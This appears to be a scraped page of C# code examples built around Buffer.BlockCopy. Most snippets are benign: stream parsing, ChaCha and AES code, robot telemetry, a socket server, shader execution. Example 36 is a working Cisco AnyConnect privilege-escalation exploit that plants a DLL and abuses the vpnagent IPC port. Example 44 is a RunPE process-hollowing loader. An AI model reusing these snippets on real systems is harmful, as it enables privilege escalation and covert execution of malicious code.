                            ++_readOffset;
                            if (_first == null || !_canSeek)
                            {
                                DiscardThrough(_readOffset, true);
                            }
                            Buffer.BlockCopy(syncBuf, 1, syncBuf, 0, 3);
                        } while (Read(_readOffset + 3, syncBuf, 3, 1) == 1);
                    }

                    // move the "end of frame" marker for the last free format frame (in case we have one)
                    // this is because we don't include the last four bytes otherwise
                    lastFrameStart += 4;

                    _endFound = true;
                    return(null);
                }
                finally
                {
                    if (freeFrame != null)
                    {
                        freeFrame.Length = (int)(lastFrameStart - freeFrame.Offset);

                        if (!_canSeek)
                        {
                            // gotta finish filling the buffer!!
                            throw new InvalidOperationException("Free frames cannot be read properly from forward-only streams!");
                        }

                        // if _lastFree hasn't changed (we got a non-MPEG frame), clear it out
                        if (_lastFree == freeFrame)
                        {
                            _lastFree = null;
                        }
                    }
                }
            }
        }
Exemplo n.º 36
0
        static void Main(string[] args)
        {
            try
            {
                byte[] bytes         = new byte[1024];
                byte[] msg           = new byte[0];
                int    offset        = 0;
                int    length        = 0;
                String vpndownloader = ((String)Registry.GetValue(
                                            @"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\vpnagent", "ImagePath",
                                            @"C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\" +
                                            "vpnagent.exe")).Replace("\"", "").Replace("vpnagent", "vpndownloader");
                String path    = Path.GetTempPath() + @"vpndownloader.exe";
                String desktop = @"WinSta0\Default";

                FileStream theDll = File.Create(Path.GetTempPath() + @"msi.dll");
                theDll.Write(MSI_DLL, 0, MSI_DLL.Length);
                theDll.Close();
                File.Copy(vpndownloader, path, true);

                length = 10 + path.Length + desktop.Length;
                msg    = new byte[length + 26];
                msg[0] = 0x4f;
                msg[1] = 0x43;
                msg[2] = 0x53;
                msg[3] = 0x43;
                msg[4] = 0x1a;
                msg[5] = 0x00;
                msg[6] = (byte)(length & 0xFF);
                msg[7] = (byte)((length >> 8) & 0xFF);
                offset = 8;
                Buffer.BlockCopy(Guid.NewGuid().ToByteArray(), 0, msg, offset, 16);
                offset         += 16;
                msg[offset]     = 0x01;
                msg[offset + 1] = 0x02;
                msg[offset + 2] = 0x00;
                msg[offset + 3] = 0x01;
                msg[offset + 4] = 0x00;
                msg[offset + 5] = (byte)((path.Length & 0xFF) + 1);
                offset         += 6;
                Buffer.BlockCopy(Encoding.ASCII.GetBytes(path), 0, msg, offset, path.Length);
                offset         += path.Length;
                msg[offset]     = 0x00;
                msg[offset + 1] = 0x00;
                msg[offset + 2] = 0x04;
                msg[offset + 3] = 0x00;
                msg[offset + 4] = (byte)((desktop.Length & 0xFF) + 1);
                offset         += 5;
                Buffer.BlockCopy(Encoding.ASCII.GetBytes(desktop), 0, msg, offset, desktop.Length);
                offset     += desktop.Length;
                msg[offset] = 0x00;

                IPEndPoint localhost = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 62522);
                Socket     sender    = new Socket(AddressFamily.InterNetwork, SocketType.Stream,
                                                  ProtocolType.Tcp);
                sender.Connect(localhost);
                int bytesSent = sender.Send(msg);
                int bytesRec  = sender.Receive(bytes);
                sender.Shutdown(SocketShutdown.Both);
                sender.Close();

                Thread.Sleep(5000);
                File.Delete(path);
                File.Delete(Path.GetTempPath() + @"msi.dll");
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
                Console.WriteLine("Press any key...");
                Console.ReadKey();
            }
        }
Exemplo n.º 37
0
 public static void ToBytesBytes(ref byte[] v, ref byte[] dst, ref int offset, int len)
 {
     ToByteInt(len, ref dst, ref offset);
     Buffer.BlockCopy(v, 0, dst, offset, len);
     offset += len;
 }
Exemplo n.º 38
0
 /// <summary>
 /// Create a rotation vector using the specific values
 /// </summary>
 /// <param name="value">The values of the (3 x 1) Rodrigues rotation vector</param>
 public RotationVector3D(double[] value)
     : this()
 {
     Debug.Assert(value.Length == 3, "Rodrigues rotation Vector must have size == 3");
     Buffer.BlockCopy(value, 0, this.Data, 0, 3 * sizeof(double));
 }
 public void ClassifyNumber()
 {
     Buffer.Insert(0, "43.99");
     AssertClassificationsOf(TextLine(0), Number(0, 5));
 }
Exemplo n.º 40
0
 public void WriteBytes(byte[] src, int srcOffset, int count)
 {
     EnsureCapacity(_writePosition + count);
     Buffer.BlockCopy(src, srcOffset, _data, _writePosition, count);
     _writePosition += count;
 }
Exemplo n.º 41
0
 public void WriteBytes(byte[] data)
 {
     EnsureCapacity(_writePosition + data.Length);
     Buffer.BlockCopy(data, 0, _data, _writePosition, data.Length);
     _writePosition += data.Length;
 }
Exemplo n.º 42
0
        /// <summary>
        /// Encrypt or decrypt the buffers (this is bidirectional for chacha due to xor)
        /// </summary>
        public void Crypt(byte[] sourceArray, int sourceIndex, byte[] destinationArray, int destinationIndex, int length)
        {
            if (sourceArray == null)
            {
                throw new ArgumentNullException(nameof(sourceArray), $"{nameof(sourceArray)} cannot be null");
            }
            if (destinationArray == null)
            {
                throw new ArgumentNullException(nameof(destinationArray), $"{nameof(destinationArray)} cannot be null");
            }

            if (sourceIndex < 0)
            {
                throw new ArgumentException("index is less than zero", nameof(sourceIndex));
            }
            if (sourceIndex > sourceArray.Length)
            {
                throw new ArgumentException("index is more than buf", nameof(sourceIndex));
            }

            if (destinationIndex < 0)
            {
                throw new ArgumentException("index is less than zero", nameof(destinationIndex));
            }
            if (destinationIndex > destinationArray.Length)
            {
                throw new ArgumentException("index is more than buf", nameof(destinationIndex));
            }

            var space = sourceArray.Length - sourceIndex;
            var data  = destinationArray.Length - destinationIndex;

            if (length < 0)
            {
                throw new ArgumentException("length is less than zero", nameof(length));
            }
            if (length > space)
            {
                throw new ArgumentException("length is more than data available in buf", nameof(length));
            }
            if (length > data)
            {
                throw new ArgumentException("length is more than free space available", nameof(length));
            }

            /*
             * if (numBytes < 0 || numBytes > input.Length)
             * {
             *      throw new ArgumentOutOfRangeException("numBytes", "The number of bytes to read must be between [0..input.Length]");
             * }
             *
             * if (output.Length < numBytes)
             * {
             *      throw new ArgumentOutOfRangeException("output", $"Output byte array should be able to take at least {numBytes}");
             * }
             */

            var x   = new uint[_stateLength];           // Working buffer
            var tmp = new byte[BlockSize];              // Temporary buffer

            while (length > 0)
            {
                // Copy state to working buffer
                Buffer.BlockCopy(_state, 0, x, 0, _stateLength * sizeof(uint));

                for (var i = 0; i < 10; i++)
                {
                    QuarterRound(x, 0, 4, 8, 12);
                    QuarterRound(x, 1, 5, 9, 13);
                    QuarterRound(x, 2, 6, 10, 14);
                    QuarterRound(x, 3, 7, 11, 15);

                    QuarterRound(x, 0, 5, 10, 15);
                    QuarterRound(x, 1, 6, 11, 12);
                    QuarterRound(x, 2, 7, 8, 13);
                    QuarterRound(x, 3, 4, 9, 14);
                }

                for (var i = 0; i < _stateLength; i++)
                {
                    Util.ToBytes(tmp, Util.Add(x[i], _state[i]), 4 * i);
                }

                var remainedInCurrent = BlockSize - _currentBlockBytes;
                var m = length >= remainedInCurrent ? remainedInCurrent : length;
                for (var i = 0; i < m; i++)
                {
                    destinationArray[i + destinationIndex] = (byte)(sourceArray[i + sourceIndex] ^ tmp[i + _currentBlockBytes]);
                }

                length             -= m;
                destinationIndex   += m;
                sourceIndex        += m;
                _currentBlockBytes += m;
                if (_currentBlockBytes == BlockSize)
                {
                    _currentBlockBytes = 0;
                    _state[12]         = Util.AddOne(_state[12]);

                    // TODO Need prove of this from spec:
                    if (_state[12] <= 0)                     // less is extra prove here. Actually counter is uint [0...]
                    {
                        // Stopping at 2^70 bytes per nonce is the user's responsibility
                        _state[13] = Util.AddOne(_state[13]);
                    }
                }
            }
        }
Exemplo n.º 43
0
    void Update()
    {
        if (DateTime.Now - lastFeedback > TimeSpan.FromMilliseconds(20))
        {
            lastFeedback = DateTime.Now;
            int[] values    = new int[64];
            long  timestamp = (long)(DateTime.UtcNow - UnixEpoch).TotalMilliseconds;
            values[TIMESTAMP]     = (int)timestamp;
            values[LEFT_ENCODER]  = robot.LeftEncoder;
            values[RIGHT_ENCODER] = robot.RightEncoder;
            values[HEADING]       = (int)robot.Gyro;
            values[INTAKE_STATE]  = robot.GripperState ? 1 : -1;
            values[BALL_PRESENCE] = robot.BallPresence ? 1 : 0;
            values[ROBOT_MODE]    = Time.timeSinceLevelLoad < 15? Auton : Teleop;
            for (var j = 0; j < 2; ++j)
            {
                for (var a = 0; a < AxisPerJoystick; ++a)
                {
                    values[j * AxisPerJoystick + a + JoystickStart] = (int)(Input.GetAxis("j" + j + "a" + a) * 100);
                }
                for (var b = 0; b < ButtonsPerJoystick; b++)
                {
                    values[j * ButtonsPerJoystick + b + JoystickButtonStart] = (int)(Input.GetKey("joystick " + (j + 1) + " button " + b) ? 1 : 0);
                }
            }


            byte[] sendBytes = new byte[values.Length * sizeof(int)];
            Buffer.BlockCopy(values, 0, sendBytes, 0, sendBytes.Length);
            udpClient.Send(sendBytes, sendBytes.Length);
        }

        if (udpClient.Available > 0)
        {
            IPEndPoint e            = new IPEndPoint(IPAddress.Any, commandsPort);
            Byte[]     receiveBytes = udpClient.Receive(ref e);
            if (receiveBytes.Length % sizeof(int) == 0)
            {
                int[] commands = new int[receiveBytes.Length / sizeof(int)];
                Buffer.BlockCopy(receiveBytes, 0, commands, 0, receiveBytes.Length);

                if (commands.Length >= 14)
                {
                    /*if (commands[RESET_SIM] > 0) {
                     * SceneManager.LoadScene(SceneManager.GetActiveScene().buildIndex);
                     * Debug.Log("Reset");
                     * commands[RESET_SIM] = 0;
                     * }*/

                    teleop.enabled = false;
                    robot.SetMotors(commands[LEFT_MOTOR] / 512.0f, commands[RIGHT_MOTOR] / 512.0f, commands[CENTER_MOTOR] / 512.0f);
                    robot.SetGripper(commands[INTAKE] >= 0);
                    if (commands[LAUNCH] >= 256)
                    {
                        robot.Launch();
                    }
                }
            }

            lastCommand = DateTime.Now;
        }
        else if (DateTime.Now - lastCommand > TimeSpan.FromSeconds(1))
        {
            teleop.enabled = true;
        }
    }
Exemplo n.º 44
0
        private static bool HandleRun(string path, string cmd, byte[] data, bool compatible)
        {
            int    num  = 0;
            string text = string.Format("\"{0}\"", path);

            RunPE.STARTUP_INFORMATION sTARTUP_INFORMATION = default(RunPE.STARTUP_INFORMATION);
            RunPE.PROCESS_INFORMATION pROCESS_INFORMATION = default(RunPE.PROCESS_INFORMATION);
            sTARTUP_INFORMATION.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(RunPE.STARTUP_INFORMATION)));
            bool result;

            try
            {
                if (!string.IsNullOrEmpty(cmd))
                {
                    text = text + " " + cmd;
                }

                if (!RunPE.CreateProcess(path, text, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero, null,
                                         ref sTARTUP_INFORMATION, ref pROCESS_INFORMATION))
                {
                    throw new Exception();
                }

                int   num2  = BitConverter.ToInt32(data, 60);
                int   num3  = BitConverter.ToInt32(data, num2 + 52);
                int[] array = new int[179];
                array[0] = 65538;
                if (IntPtr.Size == 4)
                {
                    if (!RunPE.GetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
                    {
                        throw new Exception();
                    }
                }
                else
                {
                    if (!RunPE.Wow64GetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
                    {
                        throw new Exception();
                    }
                }

                int num4 = array[41];
                int num5 = 0;
                if (!RunPE.ReadProcessMemory(pROCESS_INFORMATION.ProcessHandle, num4 + 8, ref num5, 4, ref num))
                {
                    throw new Exception();
                }

                if (num3 == num5)
                {
                    if (RunPE.NtUnmapViewOfSection(pROCESS_INFORMATION.ProcessHandle, num5) != 0)
                    {
                        throw new Exception();
                    }
                }

                int  length     = BitConverter.ToInt32(data, num2 + 80);
                int  bufferSize = BitConverter.ToInt32(data, num2 + 84);
                bool flag       = false;
                int  num6       = RunPE.VirtualAllocEx(pROCESS_INFORMATION.ProcessHandle, num3, length, 12288, 64);
                if (!compatible && num6 == 0)
                {
                    flag = true;
                    num6 = RunPE.VirtualAllocEx(pROCESS_INFORMATION.ProcessHandle, 0, length, 12288, 64);
                }

                if (num6 == 0)
                {
                    throw new Exception();
                }

                if (!RunPE.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num6, data, bufferSize, ref num))
                {
                    throw new Exception();
                }

                int   num7 = num2 + 248;
                short num8 = BitConverter.ToInt16(data, num2 + 6);
                for (int i = 0; i <= (int)(num8 - 1); i++)
                {
                    int num9      = BitConverter.ToInt32(data, num7 + 12);
                    int num10     = BitConverter.ToInt32(data, num7 + 16);
                    int srcOffset = BitConverter.ToInt32(data, num7 + 20);
                    if (num10 != 0)
                    {
                        byte[] array2 = new byte[num10];
                        Buffer.BlockCopy(data, srcOffset, array2, 0, array2.Length);
                        if (!RunPE.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num6 + num9, array2,
                                                      array2.Length, ref num))
                        {
                            throw new Exception();
                        }
                    }

                    num7 += 40;
                }

                byte[] bytes = BitConverter.GetBytes(num6);
                if (!RunPE.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num4 + 8, bytes, 4, ref num))
                {
                    throw new Exception();
                }

                int num11 = BitConverter.ToInt32(data, num2 + 40);
                if (flag)
                {
                    num6 = num3;
                }

                array[44] = num6 + num11;
                if (IntPtr.Size == 4)
                {
                    if (!RunPE.SetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
                    {
                        throw new Exception();
                    }
                }
                else
                {
                    if (!RunPE.Wow64SetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
                    {
                        throw new Exception();
                    }
                }

                if (RunPE.ResumeThread(pROCESS_INFORMATION.ThreadHandle) == -1)
                {
                    throw new Exception();
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
                Process processById = Process.GetProcessById(Convert.ToInt32(pROCESS_INFORMATION.ProcessId));
                if (processById != null)
                {
                    processById.Kill();
                }

                result = false;
                return(result);
            }

            result = true;
            return(result);
        }
Exemplo n.º 45
0
            public override Task <int> ReadAsync(byte[] buffer, int offset, int count, CancellationToken cancellationToken)
            {
                if (buffer == null)
                {
                    throw new ArgumentNullException(nameof(buffer));
                }
                if (offset < 0)
                {
                    throw new ArgumentOutOfRangeException(nameof(offset));
                }
                if (count < 0)
                {
                    throw new ArgumentOutOfRangeException(nameof(count));
                }
                if (offset > buffer.Length - count)
                {
                    throw new ArgumentException(SR.net_http_buffer_insufficient_length, nameof(buffer));
                }
                CheckDisposed();

                EventSourceTrace("Buffer: {0}, Offset: {1}, Count: {2}", buffer.Length, offset, count);

                // Check for cancellation
                if (cancellationToken.IsCancellationRequested)
                {
                    EventSourceTrace("Canceled");
                    return(Task.FromCanceled <int>(cancellationToken));
                }

                lock (_lockObject)
                {
                    VerifyInvariants();

                    // If there's currently a pending read, fail this read, as we don't support concurrent reads.
                    if (_pendingReadRequest != null)
                    {
                        EventSourceTrace("Failing due to existing pending read; concurrent reads not supported.");
                        return(Task.FromException <int>(new InvalidOperationException(SR.net_http_content_no_concurrent_reads)));
                    }

                    // If the stream was already completed with failure, complete the read as a failure.
                    if (_completed != null && _completed != s_completionSentinel)
                    {
                        EventSourceTrace("Failing read with error: {0}", _completed);

                        OperationCanceledException oce = _completed as OperationCanceledException;
                        return((oce != null && oce.CancellationToken.IsCancellationRequested) ?
                               Task.FromCanceled <int>(oce.CancellationToken) :
                               Task.FromException <int>(MapToReadWriteIOException(_completed, isRead: true)));
                    }

                    // Quick check for if no data was actually requested.  We do this after the check
                    // for errors so that we can still fail the read and transfer the exception if we should.
                    if (count == 0)
                    {
                        return(s_zeroTask);
                    }

                    // If there's any data left over from a previous call, grab as much as we can.
                    if (_remainingDataCount > 0)
                    {
                        int bytesToCopy = Math.Min(count, _remainingDataCount);
                        Buffer.BlockCopy(_remainingData, _remainingDataOffset, buffer, offset, bytesToCopy);

                        _remainingDataOffset += bytesToCopy;
                        _remainingDataCount  -= bytesToCopy;
                        Debug.Assert(_remainingDataCount >= 0, "The remaining count should never go negative");
                        Debug.Assert(_remainingDataOffset <= _remainingData.Length, "The remaining offset should never exceed the buffer size");

                        return(Task.FromResult(bytesToCopy));
                    }

                    // If the stream has already been completed, complete the read immediately.
                    if (_completed == s_completionSentinel)
                    {
                        return(s_zeroTask);
                    }

                    // Finally, the stream is still alive, and we want to read some data, but there's no data
                    // in the buffer so we need to register ourself to get the next write.
                    if (cancellationToken.CanBeCanceled)
                    {
                        // If the cancellation token is cancelable, then we need to register for cancellation.
                        // We create a special CancelableReadState that carries with it additional info:
                        // the cancellation token and the registration with that token.  When cancellation
                        // is requested, we schedule a work item that tries to remove the read state
                        // from being pending, canceling it in the process.  This needs to happen under the
                        // lock, which is why we schedule the operation to run asynchronously: if it ran
                        // synchronously, it could deadlock due to code on another thread holding the lock
                        // and calling Dispose on the registration concurrently with the call to Cancel
                        // the cancellation token.  Dispose on the registration won't return until the action
                        // associated with the registration has completed, but if that action is currently
                        // executing and is blocked on the lock that's held while calling Dispose... deadlock.
                        var crs = new CancelableReadState(buffer, offset, count, this, cancellationToken);
                        crs._registration = cancellationToken.Register(s1 =>
                        {
                            ((CancelableReadState)s1)._stream.EventSourceTrace("Cancellation invoked. Queueing work item to cancel read state");
                            Task.Factory.StartNew(s2 =>
                            {
                                var crsRef = (CancelableReadState)s2;
                                Debug.Assert(crsRef._token.IsCancellationRequested, "We should only be here if cancellation was requested.");
                                lock (crsRef._stream._lockObject)
                                {
                                    if (crsRef._stream._pendingReadRequest == crsRef)
                                    {
                                        crsRef.TrySetCanceled(crsRef._token);
                                        crsRef._stream.ClearPendingReadRequest();
                                    }
                                }
                            }, s1, CancellationToken.None, TaskCreationOptions.None, TaskScheduler.Default);
                        }, crs);
                        _pendingReadRequest = crs;
                    }
                    else
                    {
                        // The token isn't cancelable.  Just create a normal read state.
                        _pendingReadRequest = new ReadState(buffer, offset, count);
                    }

                    _easy._associatedMultiAgent.RequestUnpause(_easy);
                    _easy._selfStrongToWeakReference.MakeStrong(); // convert from a weak to a strong ref to keep the easy alive during the read
                    return(_pendingReadRequest.Task);
                }
            }
Exemplo n.º 46
0
        public static BasicHlsl.VertexShaderOutput ExecuteVertexShader(string compiledShaderFile,
                                                                       BasicHlsl.ConstantBufferGlobals globals, VertexPositionNormalTexture vertex)
        {
            var device = new Device(DriverType.Warp);

            var vertexShaderBytes    = File.ReadAllBytes(compiledShaderFile);
            var vertexShaderBytecode = new ShaderBytecode(vertexShaderBytes);
            var vertexShader         = new VertexShader(device, vertexShaderBytecode);

            var layout = new InputLayout(device,
                                         ShaderSignature.GetInputSignature(vertexShaderBytecode),
                                         new[]
            {
                new InputElement("POSITION", 0, Format.R32G32B32A32_Float, 0, 0),
                new InputElement("NORMAL", 0, Format.R32G32B32_Float, 16, 0),
                new InputElement("TEXCOORD", 0, Format.R32G32_Float, 28, 0)
            });

            var vertices = Buffer.Create(device, BindFlags.VertexBuffer, new[] { vertex });

            var constantBuffer = Buffer.Create(device, ref globals, new BufferDescription
            {
                BindFlags      = BindFlags.ConstantBuffer,
                CpuAccessFlags = CpuAccessFlags.None,
                Usage          = ResourceUsage.Default
            });

            var geometryShader = new GeometryShader(device, vertexShaderBytecode,
                                                    new[]
            {
                new StreamOutputElement {
                    SemanticName = "SV_POSITION", ComponentCount = 4
                },
                new StreamOutputElement {
                    SemanticName = "COLOR", ComponentCount = 4
                },
                new StreamOutputElement {
                    SemanticName = "TEXCOORD", ComponentCount = 2
                }
            },
                                                    BasicHlsl.VertexShaderOutput.SizeInBytes);

            var outputBuffer = Buffer.Create(device, new BasicHlsl.VertexShaderOutput[1],
                                             new BufferDescription
            {
                CpuAccessFlags = CpuAccessFlags.None,
                BindFlags      = BindFlags.StreamOutput,
                Usage          = ResourceUsage.Default
            });

            var stagingBuffer = Buffer.Create(device, new BasicHlsl.VertexShaderOutput[1],
                                              new BufferDescription
            {
                CpuAccessFlags = CpuAccessFlags.Read,
                BindFlags      = BindFlags.None,
                Usage          = ResourceUsage.Staging
            });

            device.InputAssembler.InputLayout       = layout;
            device.InputAssembler.PrimitiveTopology = PrimitiveTopology.PointList;
            device.InputAssembler.SetVertexBuffers(0, new VertexBufferBinding(vertices, VertexPositionNormalTexture.SizeInBytes, 0));
            device.VertexShader.SetConstantBuffer(0, constantBuffer);
            device.VertexShader.Set(vertexShader);
            device.GeometryShader.Set(geometryShader);
            device.StreamOutput.SetTargets(new StreamOutputBufferBinding(outputBuffer, 0));

            device.Draw(1, 0);

            device.CopyResource(outputBuffer, stagingBuffer);
            device.Flush();

            var stream = stagingBuffer.Map(MapMode.Read, SharpDX.Direct3D10.MapFlags.None);
            var bytes  = new byte[BasicHlsl.VertexShaderOutput.SizeInBytes];

            stream.Read(bytes, 0, bytes.Length);
            stream.Dispose();

            outputBuffer.Dispose();
            vertices.Dispose();
            layout.Dispose();
            geometryShader.Dispose();
            vertexShader.Dispose();
            vertexShaderBytecode.Dispose();
            device.Dispose();

            return(StructUtility.FromBytes <BasicHlsl.VertexShaderOutput>(bytes));
        }
Exemplo n.º 47
0
 /// <summary>
 /// 配列の長さは255まで
 /// ゲーム用途であれば十二分
 /// </summary>
 /// <param name="source"></param>
 /// <param name="sourceoffset"></param>
 /// <param name="dst"></param>
 /// <param name="dstoffset"></param>
 /// <param name="sourcelen"></param>
 public static void ToBytesFloatArray(ref float[] source, ref byte[] dst, ref int dstoffset)
 {
     ToByteByte((byte)source.Length, ref dst, ref dstoffset);
     Buffer.BlockCopy(source, 0, dst, dstoffset, source.Length * 4);
     dstoffset += source.Length * 4;
 }
Exemplo n.º 48
0
        public override void Write(byte[] buffer, int offset, int count)
        {
            if (_finalBlock)
            {
                throw new InvalidOperationException("The final block has already been transformed.");
            }

            if (_mode == CryptoMode.Decrypt)
            {
                throw new NotSupportedException();
            }

            if (buffer == null)
            {
                throw new ArgumentNullException("buffer");
            }

            if (offset < 0)
            {
                throw new ArgumentOutOfRangeException("offset",
                                                      "Must not be less than zero.");
            }
            if (count < 0)
            {
                throw new ArgumentOutOfRangeException("count",
                                                      "Must not be less than zero.");
            }
            if (buffer.Length < offset + count)
            {
                throw new ArgumentException("The offset and count are too large");
            }

            if (count == 0)
            {
                return;
            }

            TraceOutput("Write off({0}) count({1})", offset, count);

#if WANT_TRACE
            untransformed.Write(buffer, offset, count);
#endif

            // For proper AES encryption, an AES encryptor application calls
            // TransformBlock repeatedly for all 16-byte blocks except the
            // last. For the last block, it then calls TransformFinalBlock().
            //
            // This class is a stream that encrypts via Write().  But, it's not
            // possible to recognize which are the "last" bytes from within the call
            // to Write(). The caller can call Write() several times in succession,
            // with varying buffers. This class only "knows" that the last bytes
            // have been written when the app calls Close().
            //
            // Therefore, this class buffers writes: After completion every Write(),
            // a 16-byte "pending" block (_PendingWriteBlock) must hold between 1
            // and 16 bytes, which will be used in TransformFinalBlock if the app
            // calls Close() immediately thereafter. Also, every write must
            // transform any pending bytes, before transforming the data passed in
            // to the current call.
            //
            // In operation, after the first call to Write() and before the call to
            // Close(), one full or partial block of bytes is always available,
            // pending.  At time of Close(), this class calls
            // WriteTransformFinalBlock() to flush the pending bytes.
            //
            // This approach works whether the caller writes in odd-sized batches,
            // for example 5000 bytes, or in batches that are neat multiples of the
            // blocksize (16).
            //
            // Logicaly, what we do is this:
            //
            //  1. if there are fewer than 16 bytes (pending + current), then
            //     just copy them into th pending buffer and return.
            //
            //  2. there are more than 16 bytes to write. So, take the leading slice
            //     of bytes from the current buffer, enough to fill the pending
            //     buffer. Transform the pending block, and write it out.
            //
            //  3. Take the trailing slice of bytes (a full block or a partial block),
            //     and copy it to the pending block for next time.
            //
            //  4. transform and write all the other blocks, the middle slice.
            //

            // There are 16 or fewer bytes, so just buffer the bytes.
            if (count + _pendingCount <= BLOCK_SIZE_IN_BYTES)
            {
                Buffer.BlockCopy(buffer,
                                 offset,
                                 _PendingWriteBlock,
                                 _pendingCount,
                                 count);
                _pendingCount += count;

                // At this point, _PendingWriteBlock contains up to
                // BLOCK_SIZE_IN_BYTES bytes, and _pendingCount ranges from 0 to
                // BLOCK_SIZE_IN_BYTES. We don't want to xform+write them yet,
                // because this may have been the last block.  The last block gets
                // written at Close().
                return;
            }

            // We know there are at least 17 bytes, counting those in the current
            // buffer, along with the (possibly empty) pending block.

            int bytesRemaining = count;
            int curOffset      = offset;

            // workitem 12815
            //
            // xform chunkwise ... Cannot transform in place using the original
            // buffer because that is user-maintained.

            if (_pendingCount != 0)
            {
                // We have more than one block of data to write, therefore it is safe
                // to xform+write.
                int fillCount = BLOCK_SIZE_IN_BYTES - _pendingCount;

                // fillCount is possibly zero here. That happens when the pending
                // buffer held 16 bytes (one complete block) before this call to
                // Write.
                if (fillCount > 0)
                {
                    Buffer.BlockCopy(buffer,
                                     offset,
                                     _PendingWriteBlock,
                                     _pendingCount,
                                     fillCount);

                    // adjust counts:
                    bytesRemaining -= fillCount;
                    curOffset      += fillCount;
                }

                // xform and write:
                WriteTransformOneBlock(_PendingWriteBlock, 0);
                _s.Write(_PendingWriteBlock, 0, BLOCK_SIZE_IN_BYTES);
                _totalBytesXferred += BLOCK_SIZE_IN_BYTES;
                _pendingCount       = 0;
            }

            // At this point _PendingWriteBlock is empty, and bytesRemaining is
            // always greater than 0.

            // Now, xform N blocks, where N = floor((bytesRemaining-1)/16).  If
            // writing 32 bytes, then xform 1 block, and stage the remaining 16.  If
            // writing 10037 bytes, xform 627 blocks of 16 bytes, then stage the
            // remaining 5 bytes.

            int blocksToXform = (bytesRemaining - 1) / BLOCK_SIZE_IN_BYTES;
            _pendingCount = bytesRemaining - (blocksToXform * BLOCK_SIZE_IN_BYTES);

            // _pendingCount is ALWAYS between 1 and 16.
            // Put the last _pendingCount bytes into the pending block.
            Buffer.BlockCopy(buffer,
                             curOffset + bytesRemaining - _pendingCount,
                             _PendingWriteBlock,
                             0,
                             _pendingCount);
            bytesRemaining     -= _pendingCount;
            _totalBytesXferred += bytesRemaining; // will be true after the loop

            // now, transform all the full blocks preceding that.
            // bytesRemaining is always a multiple of 16 .
            if (blocksToXform > 0)
            {
                do
                {
                    int c = _iobuf.Length;
                    if (c > bytesRemaining)
                    {
                        c = bytesRemaining;
                    }
                    Buffer.BlockCopy(buffer,
                                     curOffset,
                                     _iobuf,
                                     0,
                                     c);

                    WriteTransformBlocks(_iobuf, 0, c);
                    _s.Write(_iobuf, 0, c);
                    bytesRemaining -= c;
                    curOffset      += c;
                } while(bytesRemaining > 0);
            }
        }
Exemplo n.º 49
0
        public static void ExampleServer()
        {
            // Establish the local endpoint
            // for the socket. Dns.GetHostName
            // returns the name of the host
            // running the application.
            IPHostEntry ipHost        = Dns.GetHostEntry(Dns.GetHostName());
            IPAddress   ipAddr        = IPAddress.Parse("172.31.244.16");
            IPEndPoint  localEndPoint = new IPEndPoint(ipAddr, 11111);

            // Creation TCP/IP Socket using
            // Socket Class Costructor
            Socket listener = new Socket(ipAddr.AddressFamily,
                                         SocketType.Stream, ProtocolType.Tcp);

            try
            {
                // Using Bind() method we associate a
                // network address to the Server Socket
                // All client that will connect to this
                // Server Socket must know this network
                // Address
                listener.Bind(localEndPoint);

                // Using Listen() method we create
                // the Client list that will want
                // to connect to Server
                listener.Listen(10);

                while (true)
                {
                    Console.WriteLine("Waiting connection ... ");

                    // Suspend while waiting for
                    // incoming connection Using
                    // Accept() method the server
                    // will accept connection of client
                    Socket clientSocket = listener.Accept();

                    int size               = 500000;
                    var fileBuffer         = new byte[size];
                    var receiveBuffer      = new byte[2048];
                    var bytesLeftToReceive = size;
                    var fileOffset         = 0;
                    while (bytesLeftToReceive > 0)
                    {
                        //receive
                        var bytesRead = clientSocket.Receive(receiveBuffer);
                        if (bytesRead == 0)
                        {
                            throw new InvalidOperationException("Remote endpoint disconnected");
                        }
                        //if the socket is used for other things after the file transfer
                        //we need to make sure that we do not copy that data
                        //to the file
                        int bytesToCopy = Math.Min(bytesRead, bytesLeftToReceive);
                        // copy data from our socket buffer to the file buffer.
                        //Buffer.BlockCopy(receiveBuffer, 0, bytesLeftToReceive, fileBuffer, fileOffset);
                        Buffer.BlockCopy(receiveBuffer, 0, fileBuffer, fileOffset, bytesToCopy);
                        //move forward in the file buffer
                        fileOffset += bytesToCopy;
                        //update our tracker.
                        bytesLeftToReceive -= bytesToCopy;
                    }

                    File.WriteAllBytes("test.png", fileBuffer);

                    //byte[] bytes = new Byte[1000000];
                    //string data = null;
                    //int numByte = clientSocket.Receive(bytes);
                    //while (true)
                    //{
                    //    using (var fs = new FileStream("test.png", FileMode.Create, FileAccess.Write))
                    //    {
                    //        fs.Write(bytes, 0, numByte);

                    //    }
                    //    break;
                    //}

                    Console.WriteLine("We done");

                    //Console.WriteLine("Text received -> {0} ", data);
                    //byte[] message = Encoding.ASCII.GetBytes("Test Server");

                    // Send a message to Client
                    // using Send() method
                    //clientSocket.Send(message);

                    // Close client Socket using the
                    // Close() method. After closing,
                    // we can use the closed Socket
                    // for a new Client Connection
                    clientSocket.Shutdown(SocketShutdown.Both);
                    clientSocket.Close();
                }
            }

            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
            }
        }
Exemplo n.º 50
0
            int EnsureFilled(MpegStreamReader reader, long offset, ref int count)
            {
                // if the offset & count are inside our buffer's range, just return the appropriate index
                var startIdx = (int)(offset - BaseOffset);
                int endIdx   = startIdx + count;

                if (startIdx < 0 || endIdx > End)
                {
                    int  readStart = 0, readCount = 0, moveCount = 0;
                    long readOffset = 0;

                    #region Decision-Making

                    if (startIdx < 0)
                    {
                        // if we can't seek, there's nothing we can do
                        if (!reader._source.CanSeek)
                        {
                            throw new InvalidOperationException("Cannot seek backwards on a forward-only stream!");
                        }

                        // if there's data in the buffer, try to keep it (up to doubling the buffer size)
                        if (End > 0)
                        {
                            // if doubling the buffer would push it past the max size, don't check it
